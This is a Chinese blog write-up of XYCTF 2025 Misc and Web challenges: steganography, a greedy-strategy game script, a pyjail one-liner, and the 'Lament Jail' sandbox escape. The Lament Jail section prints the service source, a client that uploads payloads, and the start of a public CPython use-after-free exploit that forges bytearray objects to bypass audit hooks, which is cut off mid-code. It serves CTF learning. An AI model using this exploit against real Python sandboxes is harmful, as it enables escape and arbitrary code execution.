XYCTF Misc-Web WP

文章发布时间:

最后更新时间:

文章总字数:
15k

预计阅读时间:
73 分钟

页面浏览: 加载中...

写在前面的话:
应该算第一次带学弟打线上赛,持续三天,第一天和第三天是在回家和返校的大巴车上打的,也是累趴了。至于复现,还有其他很多事比较忙,所以复现拖了挺久的,刚好好久没发博客,水一下博客。
比赛排名不高,还差一点拿到奖,不过拿了两题一血还是挺开心的。因为Misc差一点就AK了,所以一直在磕,Web就做了几题没看了,后来复现发现LamentXU师傅出的题很好,花了时间复现完后学到了很多新东西(而且师傅很有耐心,提问都会解答)。但是互联网上总是有很多不愉快的声音,我只想说像LamentXU这样优秀又热血的CTFer不多了,希望他不会被影响初心!

Misc

XGXTF(Lin)

在CTFshow上找到LamentXU出的题,即easy_polluted

按照提示找到dragonkeeep的博客,一道Web Polluted引起了注意,https://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted/

看到评论区一堆莫名其妙的~~alert('flag')~~不知所云(为什么不直接在控制台打

既然如此,大抵是没找错网站了

按F12搜索flag即得

很明显的Base64编码,解码即得完整flag

签个到吧(XiaCo、Mia)

给的Brainfuck代码,因为有[-]清零指令,所以没有输出,我们在这个指令之前加上.输出即可,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
>+++++++++++++++++[-+-+-+-]<. [-] 
>++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++[-+-+-+-]<. [-]
>++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>++++++++++++[-+-+-+-]<. [-]
>++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++[-+-+-+-]<. [-]
>++++++++++[-+-+-+-]<. [-]
>++++++++[-+-+-+-]<. [-]
>++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>++++++++[-+-+-+-]<. [-]
>+++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++[-+-+-+-]<. [-]
>+++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++++++[-+-+-+-]<. [-]
>+++++++++++[-+-+-+-]<. [-]
>+++++++++++++++++++++++++[-+-+-+-]<.

找个妙妙小网站在线运行一下即可

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

MADer也要当CTFer (Mia)

题目给的是个mkv文件,其实就是一个包含了音视频字幕的的文件,看下网上的解释:

一种开放标准的自由的容器和文件格式,是一种多媒体封装格式,能够在一个文件中容纳无限数量的视频、音频、图片或字幕轨道

播放显示有接近6个小时,后面部分无法播放,显而易见里面是藏了不少东西的

首先利用万能的梭哈工具strings看看文件里有什么,我是用的命令strings 只是刚好情窦初开遇到你.mkv -n 20,重定向到一个1.txt里,然后观察发现似乎有某种特定格式的十六进制字符串

再使用grep -Eow '[0-9a-f]{10,}' 1.txt > 2.txt将十六进制字符串部分导入2.txt,然后拿到厨子hex解码,显然是没有发现啥

那我们就要想办法体局mkv文件里面的数据了,binwalk尝试了下显然做不到,去网上找了一个提取mkv文件数据的工具:https://www.ghxi.com/mkvtoolnix.html

琢磨半天不会用,然后上网搜索了下好像说这个软件提取出来的音视频字幕文件还需要转换格式,所以又找了个工具:https://www.ghxi.com/gmkvextractgui.html,结果巧了么这不是,第二个工具需要借助第一个工具使用,也不算白下了 :))

轨道23是音频文件,1不清楚,4是字幕文件,不过好像似曾相识?诶!那我下这两个工具是干嘛的….))

音频为歌曲,无杂音刺耳音,这种有隐写的话也不好分析,还是先从第四个字幕文件入手吧,看看能不能转成人能看懂的东西

搜索了下ASS字幕文件想导入Pr必须转成SRT文件,然后找了个在线网站:https://lab.sorz.org/tools/asstosrt/

然后我掏出了大一做的Pr项目(为什么想办法往Pr里导入,因为我只有Pr…其他的剪辑软件删了),结果也是导入了一堆十六进制,显然是没用的….

这时候我突然意识到,会不会是出题人把非字幕文件塞到字幕里做隐写呢?所以我去问了下DeepSeek,似乎有这样的可能,所以我还是要对用grep提取的十六进制数据做处理?用厨子转成二进制文件看看

真的是一头雾水,出这套题的简直是个人才,到底要考什么呢?这个时候想到题目还有提示:P是位置,R是旋转,T是不透明度,S是缩放 这个似乎有点熟悉,总感觉是什么我用过的软件的快捷键,又问了下DeepSeek,原来是AE,我立马到百度网盘的破解全家桶里把我的AE安装回来了

把这个文件改成AE文件的后缀,但是我真不记得了(不是,我只记得psd….),搜了下应该是.aep .aepx .aet,我TM。为什么瞧不起我2021版的AE,为什么??(至少思路对了,确实是AE的工程文件)

嗯,凌晨1:49呼叫小学弟支援,显然太晚被拒绝,只好再去掏一个高版本破解的AE了

终于打开了,可以看到这里有很多名称为flag的字幕,其中这一段将缩放被设置为0%,改了半天效果也没弄出来,但是确实是有段文本的,最后直接双击复制出来了,补上flag头即可…. 最后吐槽下这题出的真没意义吧:)

flag{l_re@IIy_w@nn@_2_Ie@rn_AE}

Greedymen (Mia)

Isn’t it ironic? Greed isn’t limited. Freedom is a limited resource.

题目是一个选择数字的游戏,规则如下:

There are 3 levels, level 1/2/3 has number 1 to 50/100/200 on board to choose from

Each number you choose, you get the corresponding points

However, your opponent will choose all the factors of the number you choose, and get the points of each factor

You can not choose numbers that are already assigned to a player

You are only allow to choose the number if it has at least one factor not choosen

If you can’t choose anymore, the rest of the board goes to your opponent

To make the challenge harder, there is a counter that starts with 19/37/76 in level 1/2/3, each time you choose a number, the counter decreases by 1

When it reaches 0, and the game will end, and the unassigned numbers will go to your opponent

The challenge is always solvable

Player with highest score wins

Good Luck!

翻译过来其实就是:

每次选择一个数,得到对应的分数,但对手会选择这个数的所有因数,并得到这些因数的分数。已选的数不能被再次选择。此外,只有当所选数至少有一个因数未被选过时,才能选这个数。当无法再选时,剩下的数归对手。还有一个计数器,每个关卡初始值不同(19/37/76),每次选数减1,计数器到0时游戏结束,剩余数归对手。

那么其实就是使净收益 = 数字值 - 对手将获得的真因数和最大,并且每次选择较大的值来减少对手的操作空间,然后就是把游戏规则丢给DeepSeek,让他帮忙用pwntools库写一个交互去匹配数字列表和发送选择的数,让他写一个贪心算法来规划最优数,就ok了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
import re

context.log_level = 'debug' # 开启详细日志

# 获取真因数(排除自身)
def get_true_factors(n):
if n == 1:
return set()
factors = set()
for i in range(1, int(n**0.5) + 1):
if n % i == 0:
if i != n:
factors.add(i)
counterpart = n // i
if counterpart != n and counterpart != i:
factors.add(counterpart)
return factors

def choose_number(available):
max_net = -float('inf')
best_num = None
for num in sorted(available, reverse=True): # 优先处理大数
factors = get_true_factors(num)
available_factors = [f for f in factors if f in available]
if not available_factors: # 没有可用因数则不能选
continue
sum_opp = sum(available_factors)
net = num - sum_opp
if net > max_net or (net == max_net and num > best_num):
max_net = net
best_num = num
return best_num

def parse_game_data(data):
# 提取可用数字
unassigned_match = re.search(r'Unassigned Numbers: \[(.*?)\]', data)
available = list(map(int, unassigned_match.group(1).split(', '))) if unassigned_match else []

# 提取计数器和关卡信息
level_match = re.search(r'Level (\d)/3', data)
counter_match = re.search(r'Counter: (\d+)', data)
score_match = re.search(r'Your Score: (\d+)\s+Opponent Score: (\d+)', data)

return {
'available': available,
'level': int(level_match.group(1)) if level_match else 1,
'counter': int(counter_match.group(1)) if counter_match else 0,
'your_score': int(score_match.group(1)) if score_match else 0,
'opp_score': int(score_match.group(2)) if score_match else 0
}

def main():
p = remote('39.106.48.123', 29826)

# 进入游戏
p.sendlineafter(b'3.Quit', b'1')

while True:
try:
# 接收游戏数据直到输入提示
data = p.recvuntil(b'Choose a Number:', timeout=2).decode()
except EOFError:
log.info("游戏结束,正在输出最终结果...")
final_data = p.clean().decode()
print(final_data)
if 'flag{' in final_data:
success(f"Flag获取成功: {re.search(r'flag{.*?}', final_data).group()}")
break

log.info("当前游戏状态:\n" + data)

# 解析关键数据
game_data = parse_game_data(data)
available = game_data['available']
if not available or game_data['counter'] <= 0:
continue

# 选择最优数字
chosen = choose_number(available)
if not chosen:
log.warning("无有效数字可选,跳过...")
p.sendline(b'0') # 发送无效输入触发结束
continue

log.info(f"选择数字: {chosen} (净收益: {chosen - sum(get_true_factors(chosen))})")
p.sendline(str(chosen).encode())

if __name__ == "__main__":
main()

flag{Greed, is……key of the life.}

会飞的雷克萨斯(Mia、X1aC0)

笑死,这不是春节期间那小屁孩那事嘛

下载附件,打开,是一个现场图片

看看图中有没有标志的地点,发现有个 小东十七 中铁店,百度地图搜索下

获得地点:四川内江资中春岚北路中铁城市中心二期。

试了半天,出题的才给格式

flag{四川省内江市资中县春岚北路中铁城市中心内}

喜欢就说出来(Mia)

题目描述:用自己的浏览器给同桌试传了两张自己的照片和一句悄悄话,既然是浏览器那么过滤http流量,第一条就是个PNG,导出来。然而看题目描述,应该是有两张图片和一个文本?但是传输的文件确实只找到一个,然后看到个家有儿女的jpg(应该是不经意间抓的),学弟拿foremost分离出一个jpg。

先看PNG,因为这条流量uri为/handle_upload.php,应该是出题人主动传输的,但是他的IDAT层真的很乱(难怪zsteg会出错),那么我们观察发现IDAT层大小为65536、65524两种最大值,有65328、53749两种小值,猜测是两张图被搓到一起

第一张,改好IDAT层直接拿puzz修复宽高即可(B神以前教的✌️),是一张美女图片,先放着

另一张我将第一张的IDAT删了,好像不太对,估计出题人是乱序插入的,那就按 PNG头 + IHDR + IDAT + IEND 拼接,拼一个保存一下看看图像正不正常,正常的话就继续拼

就这样一个一个IDAT拼(放假回家没带鼠标手真酸),最后获得一个美媚,底下有一半flag

那么另一半flag肯定在另一张图片里了,这里zsteg梭哈没有找到,但是发现题目提示会不会是......520?!呢?

我去我立马条件发射不带任何犹豫的看了看LSB信息,尝试了各种520组合后找到另一半flag

flag{WatAshl_W@_anAta_G@_t0kubetsu_Suki!!!}

曼波曼波曼波 (Mia)

这题确实憋了好久才弄出来….题目给的smn.txt,观察到开头有个=,想到是base64的尾部填充(灵光一现),那么逆转一路点小魔法棒,得到一张jpg图片

真是jpg的话做起来挺恶心的其实,好在binwalk可以分离出一个zip,解压之后是一个加密的zip和一张easy.png和一个txt,加密的zip里面是EASY.png,加密算法未知和store说明肯定不是明文了,那么这题两个图片要么是add xor 就是 双图盲水印啥了,txt给了提示说密码是某比赛名称+年份,直接猜到了XYCTF2025

然后用puzz梭一下盲水印就好,亮度调高直接手敲flag

XYCTF{easy_yin_xie_dfbfuj877}

sins(赛后)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# from secret import flag

print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')
print('But here we have four cases bearing witness')


def i_pow(n):
if n % 4 == 0: # as the 40 days of flood
return '1'
elif n % 4 == 1: # as the 1 true God
return 'i'
elif n % 4 == 2: # as the 2 tablets of stone
return '-1'
elif n % 4 == 3: # as the 3 days in the tomb
return '-i'

inp = input("wash away your sins: ")
assert all(i in "i0123456789+-*%/^=~&|:()[]'" for i in inp), "invalid char"
assert len(inp) < 16, "too long"
R = eval(f"lambda i: {inp}", {}, {})
assert all(R(i) == i_pow(i) for i in range(691468))
print('success')

题目给了一个i_pow函数,传入n会对4取模,根据余数来返回对应的字符,这题我们需要在i0123456789+-*%/^=~&|:()[]'字符集内构造一个匿名函数R,长度不超过15字符,并且该匿名函数的限定域为空字典,即不可调用全局函数。这题想了很久也没构造出来,看了官方WP的构造才恍然大悟,'1i--'[i%4::-2]

XYCTF{Thy_sins_are_forgiven_thee}

Lament Jail(赛后)

异想体编号:H-██████ ;异想体名称:flag;安全等级:优;状态:该异想体已突破收容。描述:该异想体本质上为一段”flag{“开头”}”结尾的字符串。它极度胆怯,害怕人类不同等级的观察。该异想体经常突破收容。他的内容是██████████████████████████;收容条件:flag被收容在一个对公网开放的主机(flag-1,又名Lament Jail)上的/flag文件里。该主机上运行有能够让人们完全控制主机的服务(使用套接字进行远控),便于观测异想体状态;事件经过:事件编号████████████████。████年██月███日,由于工作人员██████████████的失误,flag被赋予高权限。它成功突破了收容。flag目前被观测到改写了人们控制它的服务。在这之上做了一些加密措施,并限制了远程代码的执行。这使得我们极难观测该异想体。同时,它摆脱了文件/flag的限制,逃到了█████████████。所幸,我们在主机上留下了/bin/rf,它可以直接从███████████████读取flag。同时,员工█████████████通过某种手段取回了正在运行的服务的源码。请你连接并突破该异想体在Lament Jail上做的限制,控制这台主机,找回flag。

题目描述如上,本来不想复现这题了,看着长长的代码有点害怕。所以先去看下相关知识叠个甲(2 hours later)

首先拿到源码让DeepSeek翻译、注释一下(原谅我英语不好,我是菜鸡),如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
# -*- coding:utf-8 -*-
# @FileName :Lament_Jail.py
# @Time :2025/3/22 12:37:43
# @Author :LamentXU
from socket import *
from os import remove
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from zlib import compress, decompress
from uuid import uuid4
from json import dumps
from subprocess import Popen, PIPE

'''
定义所有自定义异常类
'''
class MessageLengthError(Exception):
"""当消息长度超过限制时抛出异常"""
def __init__(self, message) -> None:
self.message = message

class PasswordError(Exception):
"""密码验证失败时抛出异常"""
def __init__(self, message) -> None:
self.message = message

class SimpleTCP():
'''
封装TCP通信的类,支持加密传输、密码验证和大文件传输
'''

def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM,
proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None:
'''
参数说明:
family: 地址族,默认AF_INET(IPv4)
type: 套接字类型,默认SOCK_STREAM(TCP)
proto: 协议号,默认自动选择
fileno: 文件描述符,默认None
is_encrypted: 是否启用加密连接(仅服务端有效)
AES_key: 固定AES密钥(16字节),None表示随机生成(仅服务端有效)
password: 验证密码(小于100字节),None表示不需要密码
'''

self.BLOCK_SIZE = 16 # AES加密的块大小
self.default_encoder = 'utf8' # 默认编码格式
if is_encrypted:
self.key = AES_key if AES_key else get_random_bytes(16) # 生成/使用AES密钥
self.cipher_aes = AES.new(self.key, AES.MODE_ECB) # ECB模式AES加密器
else:
self.key, self.cipher_aes = None, None
self.default_message_len = 1024 # 默认消息长度(需与客户端一致)
if password:
self.password = self.turn_to_bytes(password)
if len(password) > 100:
raise ValueError('密码长度必须小于100字节')
else:
self.password = None
self.s = socket(family, type, proto, fileno) # 主套接字

def accept(self) -> tuple:
'''
接受客户端连接并进行安全验证
返回客户端地址(address)
密码错误会抛出PasswordError
'''
conn, addr = self.s.accept()
self.s = conn # 将连接对象保存到实例

# 构造连接信息字典
info_dict = {
'is_encrypted': self.cipher_aes is not None,
'has_password': self.password is not None
}
info_bytes = dumps(info_dict).encode(self.default_encoder)

# 发送连接信息
self.s.send(self.turn_to_bytes(len(info_bytes))) # 发送信息长度
self.s.send(info_bytes) # 发送信息本体

# 密码验证流程
if self.password:
# 接收密码长度
pwd_len = self.unpadding_packets(self.s.recv(3), -1)
if not pwd_len:
self.s.close()
raise PasswordError(f'客户端{addr}未发送密码')

# 接收并验证密码
recv_pwd = self.s.recv(int(pwd_len.decode()))
if recv_pwd != self.password:
self.s.send(b'0') # 密码错误信号
self.s.close()
raise PasswordError(f'客户端{addr}密码错误')
else:
self.s.send(b'1') # 密码正确信号

# 密钥交换流程(加密模式)
if self.cipher_aes:
# 接收RSA公钥并加密AES密钥
rsa_pub_key = RSA.import_key(self.s.recv(450))
cipher_rsa = PKCS1_OAEP.new(rsa_pub_key)
encrypted_aes = cipher_rsa.encrypt(self.key)
self.s.send(encrypted_aes) # 发送加密后的AES密钥

return addr

def turn_to_bytes(self, message) -> bytes:
'''
将各种类型数据转换为bytes
支持str/int/bytes类型
'''
if isinstance(message, str):
return message.encode(self.default_encoder)
elif isinstance(message, bytes):
return message
else:
return str(message).encode(self.default_encoder)

def unpadding_packets(self, data: bytes, pad_num: int) -> bytes:
'''
去除数据尾部填充的空格
pad_num: 要移除的填充数,-1表示移除全部尾部空格
'''
return data.rstrip() if pad_num == -1 else data[:-pad_num]

def padding_packets(self, message: bytes, target_length: int = None) -> tuple:
'''
将数据填充到指定长度(用空格填充)
返回(填充后的数据,填充字节数)
'''
message = self.turn_to_bytes(message)
target = target_length or self.default_message_len
if len(message) > target:
raise MessageLengthError(f'消息长度超过{target}字节')
pad_num = target - len(message)
return (message + b' ' * pad_num, pad_num)

def pad_packets_to_mutiple(self, data: bytes, block_size: int) -> bytes:
'''
将数据填充到块大小的整数倍(PKCS#7填充)
'''
pad_len = block_size - (len(data) % block_size)
return data + bytes([pad_len] * pad_len)

def send_large(self, message) -> None:
'''
发送大文件(自动分块压缩)
'''
compressed = compress(self.turn_to_bytes(message))
chunks = [compressed[i:i+self.default_message_len]
for i in range(0, len(compressed), self.default_message_len)]

# 发送分块数量
self._send(self.padding_packets(str(len(chunks)))[0])

# 发送各数据块
for idx, chunk in enumerate(chunks):
padded_chunk, pad_num = self.padding_packets(chunk)
self._send(padded_chunk)

# 最后一个块发送填充数
if idx == len(chunks)-1:
self._send(self.padding_packets(str(pad_num))[0])

def send(self, message) -> None:
'''
发送短消息(长度需小于9999字节)
'''
msg_bytes = self.turn_to_bytes(message)
if len(msg_bytes) > 9999:
raise MessageLengthError('消息过长请使用send_large')

# 发送长度头(4字节)
len_header = self.padding_packets(str(len(msg_bytes)), 4)[0]
self._send(len_header)

# 发送消息本体
self._send(msg_bytes)

def _send(self, message: bytes) -> None:
'''
底层发送方法(自动处理加密)
'''
if self.cipher_aes:
padded = self.pad_packets_to_mutiple(message, self.BLOCK_SIZE)
encrypted = self.cipher_aes.encrypt(padded)
self.s.send(encrypted)
else:
self.s.send(message)

def recvfile(self) -> bytes:
'''
接收文件(需配合send_largefile使用)
'''
content = b''
while True:
chunk = self.recv_large(is_decode=False)
if chunk == b'EOF':
break
content += chunk
return content

def recv_large(self, is_decode: bool = True):
'''
接收大文件(自动解压)
is_decode: 是否解码为字符串
'''
# 接收分块数量
num_chunks = int(self._recv(self.default_message_len).decode().strip())

# 接收各数据块
content = b''
for i in range(num_chunks):
chunk = self._recv(self.default_message_len)

# 处理最后一个块的填充
if i == num_chunks - 1:
pad_num = int(self._recv(self.default_message_len).decode())
chunk = self.unpadding_packets(chunk, pad_num)

content += chunk

return decompress(content).decode(self.default_encoder) if is_decode else decompress(content)

def _recv(self, length: int) -> bytes:
'''
底层接收方法(自动处理解密)
'''
if self.cipher_aes:
# 计算需要接收的加密数据长度
encrypted_len = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE
encrypted = self.s.recv(encrypted_len)

# 解密并去除填充
decrypted = self.cipher_aes.decrypt(encrypted)
return self.unpad_packets_to_mutiple(decrypted, self.BLOCK_SIZE)
else:
return self.s.recv(length)

def unpad_packets_to_mutiple(self, data: bytes, block_size: int) -> bytes:
'''
去除PKCS#7填充
'''
pad_len = data[-1]
if pad_len > block_size or any(b != pad_len for b in data[-pad_len:]):
raise ValueError("无效填充")
return data[:-pad_len]

def main():
# 创建带密码验证的TCP服务
server = SimpleTCP(password='LetsLament')
server.s.bind(('0.0.0.0', 13337))
server.s.listen(5)

while True:
try:
client_addr = server.accept() # 接受客户端连接
# 发送欢迎信息
server.send('你好,这里是Flag守护者。')
server.send('我不会让你永远控制Lament监狱。')
server.send('但我的朋友LamentXU必须控制它,因为他会救我出去。')
server.send('现在你进入的是我打造的py监狱,只有LamentXU知道如何破解。')

# 接收并执行用户代码
user_code = server.recvfile().decode()

# 添加安全审计钩子
waf_code = '''
import sys
def audit_checker(event, args):
if 'id' not in event: # 禁止无id的审计事件
raise RuntimeError("非法操作")
sys.addaudithook(audit_checker)
'''
full_code = waf_code + user_code

# 生成临时文件名
temp_file = uuid4().hex + '.py'
with open(temp_file, 'w') as f:
f.write(full_code)

# 执行代码并捕获输出
try:
proc = Popen(["python3", temp_file], stdout=PIPE, stderr=PIPE)
for line in proc.stdout:
server.send(line.decode().strip())
proc.wait()
server.send('执行完毕,再见。')
except Exception as e:
server.send(f'执行错误:{str(e)}')
finally:
server.s.close()
remove(temp_file) # 清理临时文件

except Exception as e:
# 异常处理(保持服务持续运行)
pass

if __name__ == '__main__':
while True:
try:
main()
except:
pass

代码主要的逻辑如下:

  1. SimpleTCP类
    -封装了TCP通信的核心功能,支持加密传输、密码验证和大文件传输
    • 使用AES加密(ECB模式)和RSA密钥交换保证通信安全
    • 提供消息分块、压缩、填充等特性保证大数据可靠传输
  2. 安全验证流程
    • 密码验证:客户端连接时需要提供预设密码
    • 密钥交换:服务端使用RSA加密传输AES密钥
    • 审计机制:通过Python审计钩子限制危险操作
  3. 主要方法
    • **accept()**:处理完整的连接握手流程(密码验证+密钥交换)
    • **send()/recv()**:适合短消息的收发
    • **send_large()/recv_large()**:处理大文件的分块传输
    • **pad/unpad**相关方法:处理加密所需的数据填充
  4. 主程序逻辑
    • 创建带密码验证的TCP服务
    • 接收用户上传的Python代码
    • 添加安全审计钩子后执行代码
    • 捕获执行结果并返回给客户端
    • 使用临时文件和沙箱机制保证系统安全

其实就是LamentXU师傅写的一个简化socket通信的项目+一个audithook沙箱,这里我们让DeepSeek帮忙写一个客户端来通信,AI其实很聪明的(bushi,但是需要慢慢引导,这里就耗费了很久,但是最后还是写出来了(嗯对,写了一天,如下即可实现通信:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util.Padding import pad, unpad
import json
from zlib import compress, decompress

# 连接到服务器
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('gz.imxbt.cn', 20649))

print("[+] Connected to server")

# ======================== 协议交互部分 ======================== #
# 接收info_dict长度 (固定3字节)
length_bytes = s.recv(3)
info_len = int(length_bytes.decode().strip())
info_data = s.recv(info_len)
info_dict = json.loads(info_data)
is_encrypted = info_dict['is_encrypted']
has_password = info_dict['has_password']

# 发送密码
if has_password:
password = 'LetsLament'
s.send(f"{len(password):03d}".encode())
s.send(password.encode())
if s.recv(1) != b'1':
print("[!] 密码错误")
s.close()
exit()

# RSA密钥交换
key = RSA.generate(2048)
s.send(key.publickey().export_key())
encrypted_aes_key = s.recv(256)
aes_key = PKCS1_OAEP.new(key).decrypt(encrypted_aes_key)

# 初始化AES加密器
cipher_aes = AES.new(aes_key, AES.MODE_ECB)
BLOCK_SIZE = 16

def _send(data):
padded = pad(data, BLOCK_SIZE)
encrypted = cipher_aes.encrypt(padded)
s.send(encrypted)

def _recv(length):
try:
encrypted = s.recv((length + BLOCK_SIZE - 1) // BLOCK_SIZE * BLOCK_SIZE)
if not encrypted:
return b''
decrypted = cipher_aes.decrypt(encrypted)
return unpad(decrypted, BLOCK_SIZE)
except ValueError: # 处理空数据的情况
return b''

# ======================== 文件传输部分 ======================== #
def send_large(message):
"""实现服务端recv_large对应的发送逻辑"""
compressed = compress(message)
chunks = [compressed[i:i+1024] for i in range(0, len(compressed), 1024)]

# 发送块数量(填充到1024字节)
chunk_count = str(len(chunks)).encode().ljust(1024, b' ')
_send(chunk_count)

# 发送每个数据块
for i, chunk in enumerate(chunks):
padded_chunk = chunk.ljust(1024, b' ')
_send(padded_chunk)

# 最后一个块发送填充长度
if i == len(chunks)-1:
pad_num = 1024 - len(chunk)
_send(str(pad_num).encode().ljust(1024, b' '))

# ======================== 主程序逻辑 ======================== #
# 发送payload文件内容
with open('payload.py', 'rb') as f:
payload = f.read()

send_large(payload)

# 发送EOF标记(特殊压缩处理)
send_large(b'EOF')

# 接收执行结果
try:
while True:
# 接收消息长度头
len_header = _recv(4).rstrip(b' ')
if not len_header:
break
try:
data_len = int(len_header.decode())
except ValueError:
break

# 接收实际数据
data = _recv(data_len)
if not data:
break
print(data.decode(), end='')
except KeyboardInterrupt:
pass
finally:
s.close()
print("\n[+] Connection closed")
1
print('Test for connect !')

可见,payload.py里面的代码成功上传到服务端执行(只是不太稳定,可能一次不成功,多执行几次就好了。接下来我们只需要构造payload.py里的代码去进行UAF攻击即可

可以看看这篇文章:https://pwn.win/2022/05/11/python-buffered-reader.html 大概的意思就是利用使用过后释放掉的内存地址,确实比较难理解,我也是懂个大概,具体的可以去这篇文章里琢磨。不过好在给了poc,我们直接拿过来用就好,poc地址:https://github.com/kn32/python-buffered-reader-exploit/blob/master/exploit.py 这里注意一开始题目给的信息,执行/bin/rf即可获得flag,我们把poc里的/bin/sh换成/bin/rf即可,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#!/usr/bin/python3

# Get reference to io module
io = open.__self__

PAGE_SIZE = 4096
SIZEOF_ELF64_SYM = 24
SIZEOF_PLT_STUB = 16

def p64(x):
s = bytearray()
while x > 0:
s.append(x & 0xff)
x >>= 8
return s.ljust(8, b'\0')

def uN(b):
out = 0
for i in range(len(b)):
out |= (b[i] & 0xff) << i*8
return out

def u64(x):
assert len(x) == 8
return uN(x)

def u32(x):
assert len(x) == 4
return uN(x)

def u16(x):
assert len(x) == 2
return uN(x)

def flat(*args):
return b''.join(args)

class File(io._RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True

class Exploit:
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10), # refcount
p64(id(bytearray)), # type obj
p64(size), # ob_size
p64(size), # ob_alloc
p64(addr), # ob_bytes
p64(addr), # ob_start
p64(0x0), # ob_exports
)
self.no_gc.append(byte_array_obj) # stop gc from freeing after return
